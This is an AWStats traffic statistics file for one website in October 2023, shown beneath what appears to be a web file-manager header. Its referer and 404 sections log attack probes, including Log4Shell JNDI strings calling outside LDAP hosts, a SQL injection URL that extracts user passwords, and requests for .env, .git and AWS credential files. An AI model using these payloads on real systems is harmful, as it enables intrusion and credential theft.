Your IP : 216.73.216.177


Current Path : /home/energytransition/tmp/awstats/ssl/
Upload File :
Current File : /home/energytransition/tmp/awstats/ssl/awstats102023.energytransitioncrisis.macrovoices.net.txt

AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202310 will be lost/reset.
# Last config file used to build this data file was /home/energytransition/tmp/awstats/ssl/awstats.energytransitioncrisis.macrovoices.net.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2047                
POS_TIME 2727                
POS_VISITOR 21755               
POS_DAY 46891               
POS_DOMAIN 3521                
POS_LOGIN 4170                
POS_ROBOT 4325                
POS_WORMS 4924                
POS_EMAILSENDER 5055                
POS_EMAILRECEIVER 5198                
POS_SESSION 47703               
POS_SIDER 47905               
POS_FILETYPES 5333                
POS_DOWNLOADS 5458                
POS_OS 5506                
POS_BROWSER 5950                
POS_SCREENSIZE 8485                
POS_UNKNOWNREFERER 8559                
POS_UNKNOWNREFERERBROWSER 9855                
POS_ORIGIN 10612               
POS_SEREFERRALS 10750               
POS_PAGEREFS 10894               
POS_SEARCHWORDS 12133               
POS_KEYWORDS 12285               
POS_MISC 2390                
POS_ERRORS 12344               
POS_CLUSTER 4026                
POS_SIDER_404 12480               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20231101000038 88 14771 24755006948996
FirstTime 20231001004349
LastTime 20231031223852
LastUpdate 20231101080620 88 0 87 0 0
TotalVisits 1003                
TotalUnique 654                 
MonthHostsKnown 0                   
MonthHostsUnknown 654                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavaEnabled 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
QuickTimeSupport 0 0 0
DirectorSupport 0 0 0
JavascriptDisabled 0 0 0
AddToFavourites 0 23 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 66 66 122786 120 148 36949
1 79 79 222316 182 242 33119
2 57 57 136289 112 137 34136
3 57 57 65718 118 150 12563
4 53 53 71128 112 145 21120
5 56 56 124137 189 217 89508
6 82 82 109142 72 83 26485
7 54 54 62639 86 113 47335
8 72 72 83900 99 133 47172
9 62 62 82651 67 95 54488
10 72 72 197910 76 96 14958
11 43 43 70463 59 69 21020
12 29 29 68225 100 112 50397
13 29 29 102869 101 125 54882
14 75 75 264992 89 117 60615
15 37 37 51652 53 64 14282
16 46 46 72900 70 92 98599
17 37 37 91965 88 100 61451
18 34 34 41378 94 125 11629
19 28 28 81021 69 74 61804
20 27 27 79790 69 77 9211
21 57 57 113086 67 92 7885
22 41 41 81471 22 42 4617
23 49 49 103322 92 119 36203
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 33
us 674 674 1026820
cn 185 185 365960
ru 105 105 270635
nl 58 58 125186
ca 49 49 308441
de 35 35 53529
in 22 22 48240
gb 21 21 24626
be 20 20 24340
ua 14 14 156238
mn 7 7 8519
fr 6 6 7302
bg 6 6 18234
hk 5 5 6085
au 5 5 17018
cl 4 4 1217
eu 3 3 3651
pa 2 2 2434
zz 2 2 2434
dk 2 2 2434
sc 2 2 1370
at 2 2 2434
pl 2 2 2434
jp 2 2 2434
no 1 1 1217
ro 1 1 1217
se 1 1 685
ir 1 1 12147
id 1 1 0
bz 1 1 1217
pt 1 1 1217
br 1 1 818
fi 1 1 1217
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 12
no_user_agent 132 400503 20231031194300 0
Go\-http\-client/ 28 32214 20231031145103 0
curl 15 16240 20231031085429 0
(firefox/)([0-9]\.|[0-1][0]\.) 11 13387 20231027055251 0
survey 9 154973 20231005094003 0
unknown 2 52 20231021143932 2
Konqueror/ 1 1217 20231025184503 0
ng/1\. 1 1217 20231011164614 0
java 1 1217 20231016075004 0
Apache\-HttpClient/ 1 1217 20231013112816 0
AdsBot\-Google[\x20]\( 1 1217 20231005180537 0
Googlebot\-Mobile/ 1 1217 20231021014354 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 3
html 1226 2156847 0 0
php 10 121499 0 0
Unknown 6 223404 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 26
winxp 10 10
macosx12 4 4
macosx6 3 3
winvista 1 1
linux 144 144
win7 35 35
androidjellybean 1 1
android 13 13
macosx14 1 1
ios_iphone 60 60
win10 486 486
macosx7 4 4
macosx11 19 19
Unknown 287 287
androidmarshmallow 1 1
win8 10 10
win2000 2 2
bsdopenbsd 3 3
macosx15 117 117
macosx 16 16
linuxubuntu 13 13
androidpie 1 1
androideclair 2 2
winnt 3 3
blackberry 1 1
android10 5 5
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 121
chrome55.0.2883.87 1 1
chrome96.0.4664.110 86 86
chrome72.0.3626.109 1 1
opera94.0.0.0 2 2
chrome94.0.4606.71 1 1
chrome17.0.963.56 4 4
chrome55.0.3048.98 1 1
safari15.4 1 1
chrome74.0.3729.131 5 5
msie7.0 1 1
chrome91.0.4472.101 1 1
chrome36.0.1985.67 1 1
chrome50.0.3060.95 1 1
chrome35.0.2309.372 1 1
chrome117.0.5938.88 3 3
opera98.0.0.0 3 3
firefox109.0 10 10
chrome50.0.2661.102 4 4
firefox26.0 2 2
chrome112.0.0.0 9 9
chrome108.0.3421.56 1 1
chrome60.0.3112.113 107 107
chrome86.0.4 4 4
chrome95.0.4638.69 20 20
chrome107.0.5304.68 1 1
chrome52.0.1807.98 1 1
chrome79.0.3945.130 6 6
chrome74.0.462 1 1
chrome94.0.2429 1 1
chrome86.0.4240.111 1 1
chrome104.0.0.0 3 3
chrome7.0.514.0 1 1
chrome102.0.5005.63 5 5
chrome92.0.4515.159 9 9
opera12.16 1 1
chrome79.0 4 4
chrome106.0.0.0 1 1
chrome37.0.2049.0 2 2
firefox108.0 9 9
chrome73.0.3683.86 1 1
chrome81.0.4044.129 1 1
firefox112.0 1 1
chrome51.0.3100.65 1 1
firefox110.0 53 53
chrome70.0.3538.77 1 1
opera44.0.2510.857 1 1
safari13.0.3 49 49
iphone 2 2
chrome49.0.2623.87 1 1
firefox113.0 4 4
chrome112.0.5615.165 1 1
chrome107.0.0.0 5 5
chrome50.0.3104.58 1 1
mozilla 125 125
firefox77.0 4 4
chrome111.0.0.0 8 8
firefox47.0 14 14
chrome108.0.0.0 71 71
firefox78.0 115 115
chrome113.0.0.0 4 4
chrome89.0.4389.105 1 1
chrome99.0.4844.51 3 3
firefox104.0 4 4
firefox95.0 10 10
chrome98.0.4758.102 16 16
Unknown 124 124
chrome51.0.3103.102 1 1
chrome106.0.5249.126 3 3
safari16.3 1 1
firefox101.0 1 1
chrome117.0.0.0 3 3
chrome66.0.3359.117 3 3
opera95.0.0.0 5 5
chrome60.0.3112.90 9 9
msie6.0 1 1
chrome88.0.4324.190 33 33
chrome118.0.0.0 1 1
firefox73.0 8 8
chrome94.0.4606.61 4 4
chrome95.0.4638.74 1 1
chrome114.0.0.0 10 10
chrome85.0.571 1 1
chrome49.0.2623.112 14 14
firefox39.0 1 1
sonyericsson 1 1
chrome52.0.1891 1 1
android 3 3
chrome78.0.3904.108 27 27
chrome54.0.2840.98 4 4
chrome63.0.3239.132 11 11
chrome96.0.4664.45 1 1
chrome89.0.4389.114 2 2
chrome36.0.1985.125 3 3
chrome41.0.2225.0 1 1
firefox79.0 2 2
netscape5.0 36 36
chrome109.0.0.0 13 13
chrome79.0.3945.88 1 1
chrome99.0.4812.0 1 1
safari 8 8
firefox102.0 7 7
chrome83.0.4103.61 15 15
chrome53.0.2785.116 1 1
firefox65.0 2 2
chrome57.0.3110.94 1 1
blackberry 1 1
chrome110.0.0.0 11 11
chrome16.0.912.63 1 1
chrome98.0.4758.132 1 1
chrome102.0.0.0 18 18
safari16.1 2 2
chrome56.0.3074.64 1 1
chrome84.0.4147.105 1 1
msie8.0 1 1
chrome103.0.5060.114 8 8
firefox118.0 3 3
firefox25.0 1 1
firefox21.0 1 1
msie9.0 5 5
chrome41.0.2228.0 1 1
firefox115.0 8 8
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 18
'Mozilla/5.0 20231029011711
python-requests/2.25.1 20231027000255
SonyEricssonK550i/R1JD_Browser/NetFront/3.3_Profile/MIDP-2.0_Configuration/CLDC-1.1 20231020094457
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20231027073540
${jndi:ldap://196.21.83.146:1389/Exploit} 20231003152712
'Mozilla/5.0_project_patchwatch' 20231020055656
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20231030030811
HTTP_Banner_Detection_(https://security.ipip.net) 20231028075045
nvdorz 20231008035842
python-requests/2.31.0 20231031111325
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20231031175627
Adobe_Application_Manager_2.0 20231015012927
Opera/9.80_(MAUI_Runtime;_Opera_Mini/4.4.33576/191.304;_U;_en)_Presto/2.12.423_Version/12.16 20231021063603
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031213012
Mozilla/5.0 20231021164918
abuse.xmco.fr 20231024170805
Mozilla/5.0_zgrab/0.x 20231031102842
firefox 20231025141440
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
'Cloud_mapping_experiment._Contact_research@pdrlabs.net' 20231027073540
${jndi:ldap://196.21.83.146:1389/Exploit} 20231003152712
python-requests/2.25.1 20231027000255
nvdorz 20231008035842
firefox 20231025141440
python-requests/2.31.0 20231031111325
HTTP_Banner_Detection_(https://security.ipip.net) 20231028075045
abuse.xmco.fr 20231024170805
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20231031213012
Adobe_Application_Manager_2.0 20231015012927
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 950 950
From1 0 0
From2 0 0
From3 290 290
From4 2 2
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 28
http://107.190.132.100 193 193
http://107.190.132.100:80 23 23
https://107.190.132.100 10 10
http://webmail.energytransitioncrisis.macrovoices.net/wp-login.php 5 5
http://cpanel.energytransitioncrisis.macrovoices.net/wp-login.php 5 5
https://107.190.132.100/energytransitioncrisis.com/ 5 5
https://107.190.132.100/energytransitioncrisis.com/cgi-bin/ 5 5
https://107.190.132.100/energytransitioncrisis.net/ 5 5
https://107.190.132.100/energytransitioncrisis.net/cgi-bin/ 4 4
https://wenvpn.com 3 3
https://zhongguovpn.com 3 3
http://107.190.132.100 2 2
http://chuyos.inforks.org.uk 2 2
http://poww.inforks.org.uk 2 2
https://easyseo.s-nac.com 2 2
http://depere.inforks.org.uk 2 2
http://chonyi.inforks.org.uk 2 2
http://gleobealtoys.com 2 2
http://dani.inforks.org.uk 2 2
http://compu.org.uk 2 2
http://gartz.inforks.org.uk 2 2
http://liniksupport.org.uk 2 2
http://plcu.inforks.org.uk 2 2
http://inforks.org.uk 1 1
http://107.190.132.100:80 1 1
http://mail.energytransitioncrisis.macrovoices.net 1 1
http://stars.inforks.org.uk 1 1
http://webmail.energytransitioncrisis.macrovoices.net 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
503 44 0
421 85 27370
401 40 1757
404 1942 688
400 65 61415
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 298
/webvpn.html 2 -
/sgms/login 1 -
/sslvpnLogin.html 3 -
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 http://107.190.132.100:80/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-login.php 18 http://www.energytransitioncrisis.macrovoices.net/wp-login.php
/api/session/properties 5 http://107.190.132.100/api/session/properties
/api/v1 3 -
/doc/script/lib/seajs/config/sea-config.js 14 -
/owa/auth/logon.aspx 21 -
/logon/LogonPoint/custom.html 2 -
/cgi-bin/login.cgi 14 -
/t4 5 -
/robots.txt 50 -
/skin/default_1/images/logo.png 1 -
/webfig/ 5 http://107.190.132.100/webfig/
/8.bin 2 -
/energytransitioncrisis.com//.env.local 1 -
/api/library/ 1 -
//sito/wp-includes/wlwmanifest.xml 2 -
/.git/HEAD 3 http://energytransitioncrisis.macrovoices.net/.git/HEAD
/local/.env 2 -
/script 1 http://107.190.132.100:80/script
/Fg5z 1 -
/energytransitioncrisis.com//.aws/credentials 16 -
/apps 14 -
/phpinfo.php 4 -
/.env.bak 2 -
/Telerik.Web.UI.WebResource.axd 5 http://107.190.132.100/Telerik.Web.UI.WebResource.axd
/cgi-bin/config.exp 2 -
/currentsetting.htm 1 -
/users/sign_in 14 -
/energytransitioncrisis.com//.env.dist 1 -
/energytransitioncrisis.net//.env.txt 1 -
/.git/config 64 -
/web_shell_cmd.gch 1 -
/env 1 -
/energytransitioncrisis.com//.env~ 1 -
/NPClient.html 28 -
/portal/.env 2 -
/_profiler/phpinfo 7 -
/energytransitioncrisis.net//.env.backup 1 -
/wp-config.php 2 -
/energytransitioncrisis.net//.env 1 -
//wp/wp-includes/wlwmanifest.xml 2 -
/actuator/gateway/routes 25 -
/index.php 2 -
/energytransitioncrisis.net//.env.stage 1 -
/info.php 7 -
/Temporary_Listen_Addresses 2 -
/RDWeb 3 -
/.env 122 -
/cgi-bin/authLogin.cgi 5 http://107.190.132.100/cgi-bin/authLogin.cgi
/webui 14 -
/Remote 3 -
/ews/exchange%20/ 2 -
/mPlayer 2 -
/nmaplowercheck1697166348 1 -
/wh/glass.php 2 -
/core/.env 2 -
/nodeinfo/2.0 2 -
/webconsole/webpages/login.jsp 14 -
/99vu 2 -
/Display/chan/IB61I7MYA 2 -
/6Rmg 1 -
/ews/autodiscovers/ 3 -
/npclient.html 12 -
/api/system/deviceinfo 1 -
/laravel/.env 2 -
/oauth/idp/.well-known/openid-configuration 2 -
/99vt 2 -
/index.asp 13 -
/s/030313e2233313e2039313e2730313/_/ 1 -
/aaaaaaaaaaaaaaaaaaaaaaaaaqr 2 -
/a 2 -
/index1/ 1 -
/favicon-32x32.png 5 http://107.190.132.100/favicon-32x32.png
/Fy9d 1 http://107.190.132.100/Fy9d
/actuator/health 9 -
/admin/ 2 -
/login.action 1 -
/Visu/ens/events 2 -
/static/admin/javascript/hetong.js 7 http://107.190.132.100/static/admin/javascript/hetong.js
/energytransitioncrisis.com//.env.txt 1 -
/.DS_Store 1 -
/energytransitioncrisis.net//.env.dist 1 -
/energytransitioncrisis.com//.env.dev 1 -
/energytransitioncrisis.net//.env.php 1 -
/autodiscover/autodiscover%20/ 2 -
/video.html 14 -
//wp-includes/wlwmanifest.xml 2 -
/mm/ 14 -
/remote/login 15 -
//wp1/wp-includes/wlwmanifest.xml 2 -
/dniapi/userInfos 1 -
/index.html 14 -
/scripts/WPnBr.dll 1 -
/energytransitioncrisis.com//.env.production.local 1 -
/Byo2 1 -
/SiteLoader 2 -
/logon/LogonPoint/index.html 2 -
//test/wp-includes/wlwmanifest.xml 2 -
/wp-content/themes/twentytwentyone/inc/block-css.php 1 http://107.190.132.100/wp-content/themes/twentytwentyone/inc/block-css.php
/owa/ 2 -
/axis2/axis2-admin/ 4 -
/Login.html 14 -
/CACHE/sdesktop/data.xml 1 -
/login.cs 14 -
/.vscode/sftp.json 1 -
/v2/_catalog 1 -
/c/ 4 http://107.190.132.100/c/
/energytransitioncrisis.net//.env.local 1 -
/showLogin.cc 20 http://107.190.132.100/showLogin.cc
/login.rsp 15 -
/temp.php 2 -
/${jndi:ldap://196.21.83.146:1389/Exploit} 2 -
//wp2/wp-includes/wlwmanifest.xml 2 -
/app-ads.txt 1 -
/qd.CHM 2 -
/appliance/login 1 -
/webui/logoutconfirm.html 9 http://107.190.132.100/webui/logoutconfirm.html
/energytransitioncrisis.com//.env.bak 1 -
/vpn/index.html 26 -
/energytransitioncrisis.net//.aws/credentials 16 -
/ThinClient/WTM/public/index.html 1 -
/ui 14 -
/evox/about 1 -
/cgi-bin/luci/ 2 -
/CSS/Miniweb.css 1 -
/energytransitioncrisis.net//.env.save 1 -
/api/.env 5 -
/ttd.exe 2 -
/debug/default/view 1 -
/admin/.env 2 -
//cms/wp-includes/wlwmanifest.xml 2 -
/zMLUH93A 2 -
/Teporary_Listen_Addresses/ 1 -
/image/lgbg.jpg 1 -
/YUUY 1 -
/ads.txt 4 -
/app/config/.env 2 -
/new/login 2 -
/vendor/laravel/.env 2 -
//wordpress/wp-includes/wlwmanifest.xml 2 -
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 9 http://107.190.132.100/cf_scripts/scripts/ajax/ckeditor/ckeditor.js
/apps/.env 2 -
/dana-na/nc/nc_gina_ver.txt 3 -
/energytransitioncrisis.com//.env.php 1 -
/ab2h 5 -
/nmaplowercheck1697441557 1 -
/manager/html 1 -
//web/wp-includes/wlwmanifest.xml 2 -
/ews/exchange/ 3 -
stager64 1 -
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 http://107.190.132.100:80/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/guacamole/ 1 -
/portal 14 -
/energytransitioncrisis.net//.env.js 1 -
/node 14 -
/sgms/images/sonicwall.png 1 -
/chklst.txt 1 -
/RDWeb/Pages/en-US/login.aspx 5 -
/ews/exchanges/ 2 -
/hrsgdsb7386wknzms.jpg 2 -
/energytransitioncrisis.net//.env.development.local 1 -
/sitemap.xml 30 -
/telescope/requests 2 -
/web/.env 2 -
/login.html 14 -
/public/.env 2 -
/Wi5g 1 -
/ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3 1 -
/prod/.env 2 -
//site/wp-includes/wlwmanifest.xml 2 -
/getBasicInformation 1 -
/resolve 12 -
/cgi-bin/ 32 -
/geoserver/web/ 26 -
/backend/.env 2 -
/cluster/cluster/ 1 http://107.190.132.100:80/cluster/cluster/
/stalker_portal/server/tools/auth_simple.php 5 http://107.190.132.100/stalker_portal/server/tools/auth_simple.php
/energytransitioncrisis.com//.env.save 1 -
/energytransitioncrisis.net//.env.bak 1 -
/web/index.html 14 -
/+CSCOE+/logon.html 24 -
/static/historypage.js 5 http://107.190.132.100/static/historypage.js
/about 1 -
/UnityPlayer.dll 2 -
/.aws/credentials 4 -
/is-bin 4 -
/sendgrid.env 2 -
/RDWeb/Pages/ 1 -
/admin/index.html 14 -
/energytransitioncrisis.com//.env.js 1 -
/autodiscover/autodiscovers/ 2 -
/version 11 -
/sdk 2 -
/5qbT 1 http://107.190.132.100/5qbT
/api/opinion/index 1 -
/ab2g 5 -
/doc/page/login.asp 14 -
/api/v1/charts 13 -
/api/sonicos/auth 3 -
/${jndi:ldap://93.95.216.134:1389/Exploit} 1 -
/energytransitioncrisis.net//.env~ 1 -
/energytransitioncrisis.net//.env.production.local 1 -
/vendor/.env 2 -
/blog/.env 2 -
/server-status 3 -
/pools 1 -
/Res/login.html 2 -
/energytransitioncrisis.com//.env.backup 1 -
/Gmail/UnityPlayer.txt 2 -
/autodiscover/autodiscoverrs/ 2 -
/axis2-admin/ 4 -
/__Additional 1 -
/_all_dbs 1 -
/icons/sphere1.png 2 -
/autodiscover/autodiscover.json 31 -
/autodiscove/ 5 -
/auth.html 3 -
//blog/wp-includes/wlwmanifest.xml 2 -
/phpinfo 2 -
/dns-query 26 -
/config.json 2 -
/Temporary_Listen_Addresses/ 4 -
/global-protect/login.esp 22 -
/categories/Yud 2 -
/phpmyadmin/index.php 1 http://107.190.132.100:80/phpmyadmin/index.php
/admin/config.php 4 -
/2.0/gui/ 14 -
/.well-known/security.txt 19 -
/fw6I 4 -
/dana-cached/hc/HostCheckerInstaller.osx 3 -
/solr/ 5 http://107.190.132.100/solr/#/
/WuEL 1 -
/api/v2/cmdb/system/admin/admin 2 -
/ews/ews/ 3 -
//xmlrpc.php 2 -
/ReportServer 5 -
/jquery-3.3.1.min.js 4 -
/remote/logincheck 1 -
/energytransitioncrisis.com//.env.docker.dev 1 -
/owa/auth/x.js 16 -
/ 306 -
//news/wp-includes/wlwmanifest.xml 2 -
/app/.env 2 -
/cluster/list.query 2 -
/auth1.html 3 -
/energytransitioncrisis.net//.env.dev 1 -
/manage/account/login 13 -
/jquery.js 2 -
/wsman 3 -
/actuator/env 3 http://107.190.132.100/actuator/env
/download/file.ext 2 -
/Portal0000.htm 1 -
/login/ 14 -
/sugar_version.json 5 http://107.190.132.100/sugar_version.json
/nation.php 2 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 26 -
/Public/home/js/check.js 8 http://107.190.132.100/Public/home/js/check.js
/Electron/download/windows/%5CProgram%20Files%5C3CX%20Phone%20System%5CData%5CDB%5Cbase%5C16384%5C16393 2 -
/api/sonicos/tfa 3 -
/remote/fgt_lang 4 -
/WebViewer.html 14 -
/login 20 -
/axis2/ 4 -
/energytransitioncrisis.net//.env.prod 1 -
/energytransitioncrisis.net//.env.docker.dev 1 -
/news.php 2 -
/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab 2 -
/ews/%20/ 2 -
//website/wp-includes/wlwmanifest.xml 2 -
/owa/auth.owa 2 -
/viwwwsogou 1 -
/.svn/entries 1 -
/common/info.cgi 1 -
/query 12 -
/energytransitioncrisis.com//.env.development.local 1 -
/level/15/exec/-/sh/run/CR 1 -
/energytransitioncrisis.com//.env.stage 1 -
/application/.env 2 -
/energytransitioncrisis.com//.env.prod 1 -
/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php 2 -
/wp-config.php.orig 2 -
/Portal/Portal.mwsl 1 -
/pools/default/buckets 1 -
/HNAP1/ 3 https://107.190.132.100/
/energytransitioncrisis.com//.env 1 -
/owa/auth/errorFE.aspx 3 -
/.git/credentials 1 -
/q2tE 1 -
/crm/.env 2 -
/dana-na/auth/url_default/welcome.cgi 2 -
/HNAP1 2 -
/docs/cplugError.html/ 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 22 -
/api/attach 2 -
/index.jsp 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 654
83.97.73.87 27 27 32859 20231031000433
34.140.248.32 27 27 23549 20231031100827
34.76.158.233 22 22 19326 20231027052508
34.78.6.216 20 20 16892 20231007102116
94.102.61.75 16 16 19472 20231030103122
94.102.61.100 15 15 61940 20231003000334
36.99.136.129 14 14 17038 20231031085605
36.99.136.128 13 13 15821 20231031085617
101.68.211.2 13 13 109675 20231021145251
36.99.136.137 13 13 15821 20231031085607
35.187.98.121 12 12 10880 20231018070944
94.102.61.10 12 12 14604 20231031180241
130.211.54.158 11 11 9663 20231031111326
171.67.71.144 10 10 12170 20231012005731
38.110.46.2 10 10 12170 20231012005455
43.248.128.82 10 10 12170 20231012005609
199.45.154.4 9 9 10953 20231012005548
183.136.225.29 9 9 10953 20231029225645
199.45.155.4 8 8 9736 20231012005548
185.180.143.7 8 8 9736 20231030183459
36.99.136.136 8 8 9736 20231028040817
95.216.161.91 8 8 4868 20231020043329
185.180.143.49 8 8 9736 20231030004636
35.240.121.17 8 8 7874 20231026043902
185.180.143.188 7 7 8519 20231026135033
45.56.86.210 4 4 4868 20231020094457
198.235.24.151 1 1 1217 20231021192346
65.20.189.12 1 1 1217 20231006033101
14.215.163.132 3 3 3651 20231031060830
167.94.146.51 1 1 1217 20231027092058
185.233.19.231 1 1 37246 20231018012229
165.227.113.58 1 1 1217 20231031055026
103.149.192.175 1 1 1217 20231031201931
87.236.176.58 1 1 1217 20231015023231
184.105.139.70 1 1 1217 20231007034819
65.155.30.101 1 1 1217 20231006073344
35.203.211.235 1 1 1217 20231017185213
167.248.133.183 1 1 12136 20231012131939
35.216.195.189 1 1 1217 20231024170805
198.235.24.178 1 1 1217 20231023201207
65.49.1.42 1 1 1217 20231007081136
164.90.202.89 2 2 2434 20231026234810
36.41.75.167 2 2 2434 20231008145214
199.45.155.19 1 1 1217 20231031143531
185.180.143.141 3 3 3651 20231026070852
51.254.49.111 1 1 1217 20231023182719
182.54.5.236 1 1 1217 20231010235829
94.102.61.70 4 4 4868 20231014130244
58.49.233.126 3 3 3651 20231024075252
167.248.133.127 2 2 2434 20231026132616
103.152.79.201 1 1 12146 20231017130923
167.248.133.51 2 2 2434 20231017141923
209.97.146.186 1 1 1217 20231014022807
211.95.50.4 1 1 1217 20231031012844
179.43.190.98 1 1 1217 20231019150202
207.90.244.3 1 1 1217 20231015164228
179.60.149.248 1 1 1217 20231015012927
71.6.135.131 1 1 1217 20231015042625
54.38.152.16 1 1 1217 20231023004008
111.7.96.153 1 1 1217 20231006075527
64.225.4.95 3 3 2434 20231003165041
